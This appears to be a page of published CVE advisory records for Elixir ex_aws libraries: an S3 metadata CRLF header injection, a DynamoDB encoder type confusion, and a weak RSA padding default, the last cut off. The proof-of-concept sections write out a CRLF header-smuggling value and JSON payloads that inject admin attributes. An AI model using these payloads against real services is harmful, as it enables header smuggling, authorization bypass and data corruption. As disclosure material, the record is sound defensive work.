"value": "Reject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x)."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn upload service forwards user-supplied metadata: \u003ccode\u003eExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}])\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sets the value to \u003ccode\u003elegit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebuild_meta_headers/1\u003c/code\u003e copies it verbatim into the \u003ccode\u003ex-amz-meta-comment\u003c/code\u003e header.\u003c/li\u003e\n\u003cli\u003eWith an adapter that does not reject CR/LF, the bytes on the wire contain \u003ccode\u003eX-Injected-By-Attacker: pwned\u003c/code\u003e and \u003ccode\u003eX-Smuggled: yes\u003c/code\u003e as separate header lines.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An upload service forwards user-supplied metadata: `ExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}])`.\n2. The attacker sets the value to `legit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes`.\n3. `build_meta_headers/1` copies it verbatim into the `x-amz-meta-comment` header.\n4. With an adapter that does not reject CR/LF, the bytes on the wire contain `X-Injected-By-Attacker: pwned` and `X-Smuggled: yes` as separate header lines."
}
],
"value": "* An upload service forwards user-supplied metadata: ExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}]).\n* The attacker sets the value to legit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes.\n* build_meta_headers/1 copies it verbatim into the x-amz-meta-comment header.\n* With an adapter that does not reject CR/LF, the bytes on the wire contain X-Injected-By-Attacker: pwned and X-Smuggled: yes as separate header lines."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Unvalidated header construction.\u003c/strong\u003e \u003ccode\u003eExAws.S3.Utils.build_meta_headers/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e turns each \u003ccode\u003e:meta\u003c/code\u003e entry into \u003ccode\u003e{\"x-amz-meta-#{k}\", v}\u003c/code\u003e. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Untrusted metadata.\u003c/strong\u003e Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like \u003ccode\u003e\"legit\\r\\nX-Injected-By-Attacker: pwned\"\u003c/code\u003e reaches the header list unchanged through \u003ccode\u003eExAws.S3.put_object/4\u003c/code\u003e or any operation taking \u003ccode\u003e:meta\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Header injection.\u003c/strong\u003e If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the \u003ccode\u003ex-amz-meta-*\u003c/code\u003e line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Unvalidated header construction.** `ExAws.S3.Utils.build_meta_headers/1` in `lib/ex_aws/s3/utils.ex` turns each `:meta` entry into `{\"x-amz-meta-#{k}\", v}`. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\n\n**2. Untrusted metadata.** Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like `\"legit\\r\\nX-Injected-By-Attacker: pwned\"` reaches the header list unchanged through `ExAws.S3.put_object/4` or any operation taking `:meta`.\n\n**3. Header injection.** If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the `x-amz-meta-*` line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely."
}
],
"value": "1. Unvalidated header construction. ExAws.S3.Utils.build_meta_headers/1 in lib/ex_aws/s3/utils.ex turns each :meta entry into {\"x-amz-meta-#{k}\", v}. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\n\n2. Untrusted metadata. Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like \"legit\\r\\nX-Injected-By-Attacker: pwned\" reaches the header list unchanged through ExAws.S3.put_object/4 or any operation taking :meta.\n\n3. Header injection. If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the x-amz-meta-* line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-65621",
"datePublished": "2026-11-24T14:13:06.909Z",
"dateReserved": "2026-07-22T13:55:59.401Z",
"dateUpdated": "2026-11-24T14:13:06.909Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62270 (GCVE-0-2026-62270)
Vulnerability from cvelistv5 – Published: 2026-11-24 12:59 – Updated: 2026-11-24 12:59
VLAI
EPSS
VEX
Title
Type confusion via structural idempotency guard in ExAws.Dynamo.Encoder.encode/2
Summary
Improper Validation of Specified Type of Input in ExAws.Dynamo.Encoder.encode/2 in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB AttributeValue.
The encode/2 function in lib/ex_aws/dynamo/encoder.ex has one clause per DynamoDB type descriptor ("S", "N", "B", "BOOL", "M", "L", "NS", "SS", "BS", "NULL") that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the ExAws.Dynamo.Encodable protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.
An application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an expression_attribute_values entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute's declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.
This issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0.
Severity
CWE
- CWE-1287 - Improper Validation of Specified Type of Input
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_dynamo/security/… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62270.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62270 | related |
| https://github.com/ex-aws/ex_aws_dynamo/commit/a7… | related |
| https://github.com/ex-aws/ex_aws_dynamo/commit/8d… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| ex-aws | ex_aws_dynamo |
Affected:
2.0.0 , < 4.3.0
(semver)
cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:* |
|
| ex-aws | ex_aws_dynamo |
Affected:
a760463986f056937e61f5cd1c14e068c259d336 , < 8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413
(git)
cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:* |
Date Public
2026-11-24 12:58
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Dynamo.Encoder\u0027"
],
"packageName": "ex_aws_dynamo",
"packageURL": "pkg:hex/ex_aws_dynamo",
"product": "ex_aws_dynamo",
"programFiles": [
"lib/ex_aws/dynamo/encoder.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/2"
},
{
"name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws_dynamo",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "4.3.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Dynamo.Encoder\u0027"
],
"packageName": "ex-aws/ex_aws_dynamo",
"packageURL": "pkg:github/ex-aws/ex_aws_dynamo",
"product": "ex_aws_dynamo",
"programFiles": [
"lib/ex_aws/dynamo/encoder.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/2"
},
{
"name": "\u0027Elixir.ExAws.Dynamo.Encoder\u0027:encode/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws_dynamo",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413",
"status": "affected",
"version": "a760463986f056937e61f5cd1c14e068c259d336",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_dynamo:*:*:*:*:*:*:*:*",
"versionEndExcluding": "4.3.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T12:58:59.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Validation of Specified Type of Input in \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB \u003ccode\u003eAttributeValue\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eencode/2\u003c/code\u003e function in \u003ccode\u003elib/ex_aws/dynamo/encoder.ex\u003c/code\u003e has one clause per DynamoDB type descriptor (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e) that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the \u003ccode\u003eExAws.Dynamo.Encodable\u003c/code\u003e protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\u003c/p\u003e\n\u003cp\u003eAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an \u003ccode\u003eexpression_attribute_values\u003c/code\u003e entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Validation of Specified Type of Input in `ExAws.Dynamo.Encoder.encode/2` in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB `AttributeValue`.\n\nThe `encode/2` function in `lib/ex_aws/dynamo/encoder.ex` has one clause per DynamoDB type descriptor (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"M\"`, `\"L\"`, `\"NS\"`, `\"SS\"`, `\"BS\"`, `\"NULL\"`) that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the `ExAws.Dynamo.Encodable` protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\n\nAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an `expression_attribute_values` entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\n\nThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0."
}
],
"value": "Improper Validation of Specified Type of Input in ExAws.Dynamo.Encoder.encode/2 in ex_aws_dynamo allows an attacker who controls map data passed into a DynamoDB call to choose the raw stored DynamoDB AttributeValue.\n\nThe encode/2 function in lib/ex_aws/dynamo/encoder.ex has one clause per DynamoDB type descriptor (\"S\", \"N\", \"B\", \"BOOL\", \"M\", \"L\", \"NS\", \"SS\", \"BS\", \"NULL\") that treats any map merely containing such a key as already encoded and returns it verbatim, bypassing the ExAws.Dynamo.Encodable protocol. The match is on the presence of the key alone, so no check is made that the value is well formed for the claimed type, and extra keys and arbitrary nested content survive untouched.\n\nAn application that threads user-influenced map data (a decoded JSON body, a nested attribute, or an expression_attribute_values entry) into a Dynamo write or query therefore lets the user, rather than the application, decide the stored attribute\u0027s declared type, its bytes, and its structure. This type confusion breaks round-trip integrity and enables silent persistent data corruption, injection of attributes and raw binaries the schema never sanctioned, subversion of application authorization checks that trust the decoded type of a value, and a decoder crash on read-back that denies reads of the affected item to other users of the same table.\n\nThis issue affects ex_aws_dynamo: from 2.0.0 before 4.3.0."
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eType confusion / improper input validation in \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e. Affects any application on \u003ccode\u003eex_aws_dynamo\u003c/code\u003e that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or \u003ccode\u003eexpression_attribute_values\u003c/code\u003e, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Type confusion / improper input validation in `ExAws.Dynamo.Encoder.encode/2`. Affects any application on `ex_aws_dynamo` that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or `expression_attribute_values`, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore."
}
],
"value": "Type confusion / improper input validation in ExAws.Dynamo.Encoder.encode/2. Affects any application on ex_aws_dynamo that passes user-influenced map data (a decoded JSON body, a nested attribute, a filter value) into a Dynamo item write or expression_attribute_values, which is the ordinary usage pattern behind an HTTP boundary. No authentication or special privilege is needed, only the ability to submit a JSON object whose key is one of the ten type descriptors. Consequences range from silent persistent data corruption and denial of service for other readers of the same table, to authorization bypass and injection of attacker-controlled binaries and privileged attributes into the datastore."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1287",
"description": "CWE-1287 Improper Validation of Specified Type of Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T12:59:00.667Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_dynamo/security/advisories/GHSA-9776-rh77-6wp6"
},
{
"name": "EEF CNA record for CVE-2026-62270",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62270.html"
},
{
"name": "OSV record EEF-CVE-2026-62270",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62270"
},
{
"name": "Introducing commit a760463 in ex-aws/ex_aws_dynamo",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_dynamo/commit/a760463986f056937e61f5cd1c14e068c259d336"
},
{
"name": "Fix commit 8d1f1d8 in ex-aws/ex_aws_dynamo",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_dynamo/commit/8d1f1d8da8ea36ca7119bbcc7e210762fe4a1413"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Type confusion via structural idempotency guard in ExAws.Dynamo.Encoder.encode/2",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eValidate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e) before passing it to \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Validate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"M\"`, `\"L\"`, `\"NS\"`, `\"SS\"`, `\"BS\"`, `\"NULL\"`) before passing it to `ExAws.Dynamo.Encoder.encode/2` or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values."
}
],
"value": "Validate or reject untrusted map data whose top-level key is one of the DynamoDB type descriptors (\"S\", \"N\", \"B\", \"BOOL\", \"M\", \"L\", \"NS\", \"SS\", \"BS\", \"NULL\") before passing it to ExAws.Dynamo.Encoder.encode/2 or into a Dynamo call, so that user-supplied maps cannot be mistaken for already-encoded values."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn endpoint takes a JSON body \u003ccode\u003e{\"filter\": \u0026lt;any JSON value\u0026gt;}\u003c/code\u003e and passes the value to \u003ccode\u003eExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value])\u003c/code\u003e, which runs it through \u003ccode\u003eEncoder.encode/2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA benign value \u003ccode\u003e{\"city\": \"Berlin\"}\u003c/code\u003e is encoded as type \u003ccode\u003eM\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sends \u003ccode\u003e{\"N\": \"1000000\"}\u003c/code\u003e. The \u003ccode\u003e\"N\"\u003c/code\u003e clause matches, the map is sent unchanged, and it reads back as the integer \u003ccode\u003e1000000\u003c/code\u003e instead of a map.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e{\"B\": \"\u0026lt;base64\u0026gt;\"}\u003c/code\u003e stores attacker-chosen raw bytes, \u003ccode\u003e{\"NULL\": \"true\"}\u003c/code\u003e makes an \u003ccode\u003eis_private\u003c/code\u003e flag decode to \u003ccode\u003enil\u003c/code\u003e, and \u003ccode\u003e{\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}}\u003c/code\u003e injects attributes the schema never sanctioned.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e{\"N\": \"evil\"}\u003c/code\u003e is stored as a malformed number, and a later scan by another user raises while decoding the item.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An endpoint takes a JSON body `{\"filter\": \u003cany JSON value\u003e}` and passes the value to `ExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value])`, which runs it through `Encoder.encode/2`.\n2. A benign value `{\"city\": \"Berlin\"}` is encoded as type `M`.\n3. The attacker sends `{\"N\": \"1000000\"}`. The `\"N\"` clause matches, the map is sent unchanged, and it reads back as the integer `1000000` instead of a map.\n4. `{\"B\": \"\u003cbase64\u003e\"}` stores attacker-chosen raw bytes, `{\"NULL\": \"true\"}` makes an `is_private` flag decode to `nil`, and `{\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}}` injects attributes the schema never sanctioned.\n5. `{\"N\": \"evil\"}` is stored as a malformed number, and a later scan by another user raises while decoding the item."
}
],
"value": "* An endpoint takes a JSON body {\"filter\": \u003cany JSON value\u003e} and passes the value to ExAws.Dynamo.query(\"Products\", key_condition_expression: \"attr = :val\", expression_attribute_values: [val: user_value]), which runs it through Encoder.encode/2.\n* A benign value {\"city\": \"Berlin\"} is encoded as type M.\n* The attacker sends {\"N\": \"1000000\"}. The \"N\" clause matches, the map is sent unchanged, and it reads back as the integer 1000000 instead of a map.\n* {\"B\": \"\u003cbase64\u003e\"} stores attacker-chosen raw bytes, {\"NULL\": \"true\"} makes an is_private flag decode to nil, and {\"M\": {\"role\": {\"S\": \"admin\"}, \"is_admin\": {\"BOOL\": true}}} injects attributes the schema never sanctioned.\n* {\"N\": \"evil\"} is stored as a malformed number, and a later scan by another user raises while decoding the item."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Structural idempotency guard.\u003c/strong\u003e \u003ccode\u003eExAws.Dynamo.Encoder.encode/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/dynamo/encoder.ex\u003c/code\u003e has one clause per type descriptor (\u003ccode\u003e\"S\"\u003c/code\u003e, \u003ccode\u003e\"N\"\u003c/code\u003e, \u003ccode\u003e\"B\"\u003c/code\u003e, \u003ccode\u003e\"BOOL\"\u003c/code\u003e, \u003ccode\u003e\"BS\"\u003c/code\u003e, \u003ccode\u003e\"L\"\u003c/code\u003e, \u003ccode\u003e\"M\"\u003c/code\u003e, \u003ccode\u003e\"NS\"\u003c/code\u003e, \u003ccode\u003e\"NULL\"\u003c/code\u003e, \u003ccode\u003e\"SS\"\u003c/code\u003e), each of the form \u003ccode\u003edef encode(%{\"S\" =\u0026gt; _} = val, _), do: val\u003c/code\u003e. A map that merely contains one of these keys is returned verbatim and skips the \u003ccode\u003eExAws.Dynamo.Encodable\u003c/code\u003e protocol.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. No validation.\u003c/strong\u003e The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body \u003ccode\u003e%{\"S\" =\u0026gt; \"evil\"}\u003c/code\u003e, meant as a Map with a key named \u003ccode\u003e\"S\"\u003c/code\u003e, is sent as the string \u003ccode\u003e\"evil\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Consequences.\u003c/strong\u003e The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and \u003ccode\u003edecode(encode(x))\u003c/code\u003e differs from \u003ccode\u003ex\u003c/code\u003e for any \u003ccode\u003ex\u003c/code\u003e shaped like the wire format. \u003ccode\u003eencode!/2\u003c/code\u003e and \u003ccode\u003eencode_root/2\u003c/code\u003e call \u003ccode\u003eEncodable.encode\u003c/code\u003e directly and skip the shortcut, so the same value encodes differently depending on the entry point.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Structural idempotency guard.** `ExAws.Dynamo.Encoder.encode/2` in `lib/ex_aws/dynamo/encoder.ex` has one clause per type descriptor (`\"S\"`, `\"N\"`, `\"B\"`, `\"BOOL\"`, `\"BS\"`, `\"L\"`, `\"M\"`, `\"NS\"`, `\"NULL\"`, `\"SS\"`), each of the form `def encode(%{\"S\" =\u003e _} = val, _), do: val`. A map that merely contains one of these keys is returned verbatim and skips the `ExAws.Dynamo.Encodable` protocol.\n\n**2. No validation.** The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body `%{\"S\" =\u003e \"evil\"}`, meant as a Map with a key named `\"S\"`, is sent as the string `\"evil\"`.\n\n**3. Consequences.** The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and `decode(encode(x))` differs from `x` for any `x` shaped like the wire format. `encode!/2` and `encode_root/2` call `Encodable.encode` directly and skip the shortcut, so the same value encodes differently depending on the entry point."
}
],
"value": "1. Structural idempotency guard. ExAws.Dynamo.Encoder.encode/2 in lib/ex_aws/dynamo/encoder.ex has one clause per type descriptor (\"S\", \"N\", \"B\", \"BOOL\", \"BS\", \"L\", \"M\", \"NS\", \"NULL\", \"SS\"), each of the form def encode(%{\"S\" =\u003e _} = val, _), do: val. A map that merely contains one of these keys is returned verbatim and skips the ExAws.Dynamo.Encodable protocol.\n\n2. No validation. The match is on the presence of the key alone: extra keys and arbitrary nested content survive, and nothing checks that the value is well formed for the claimed type. Nothing distinguishes a value this encoder produced from user data of the same shape, so a decoded JSON body %{\"S\" =\u003e \"evil\"}, meant as a Map with a key named \"S\", is sent as the string \"evil\".\n\n3. Consequences. The user, not the application, decides the stored attribute\u0027s type, bytes and structure, and decode(encode(x)) differs from x for any x shaped like the wire format. encode!/2 and encode_root/2 call Encodable.encode directly and skip the shortcut, so the same value encodes differently depending on the entry point."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62270",
"datePublished": "2026-11-24T12:59:00.667Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T12:59:00.667Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62271 (GCVE-0-2026-62271)
Vulnerability from cvelistv5 – Published: 2026-11-24 12:22 – Updated: 2026-11-24 12:22
VLAI
EPSS
VEX
Title
ex_aws_kms defaults RSA key-material wrapping to PKCS#1 v1.5 in get_parameters_for_import/3
Summary
Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (ExAws.KMS module) causes callers who import external key material to wrap their secret KMS key material with the deprecated PKCS#1 v1.5 padding scheme by default.
This vulnerability is associated with program file lib/ex_aws/kms.ex and program routine ExAws.KMS.get_parameters_for_import/3.
ExAws.KMS.get_parameters_for_import/3 defaults its wrapping_algorithm argument to "RSAES_PKCS1_V1_5". AWS KMS returns this value as the WrappingAlgorithm for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling ImportKeyMaterial. AWS KMS also supports the stronger RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256 schemes. By defaulting to RSAES_PKCS1_V1_5, the library steers callers who do not explicitly override the argument toward the weakest of the three. PKCS#1 v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing "RSAES_OAEP_SHA_256" (or "RSAES_OAEP_SHA_1") as the wrapping algorithm.
This issue affects ex_aws_kms: from 2.1.0 before 2.7.0.
Severity
CWE
- CWE-780 - Use of RSA Algorithm without OAEP
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_kms/security/adv… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62271.html | related |
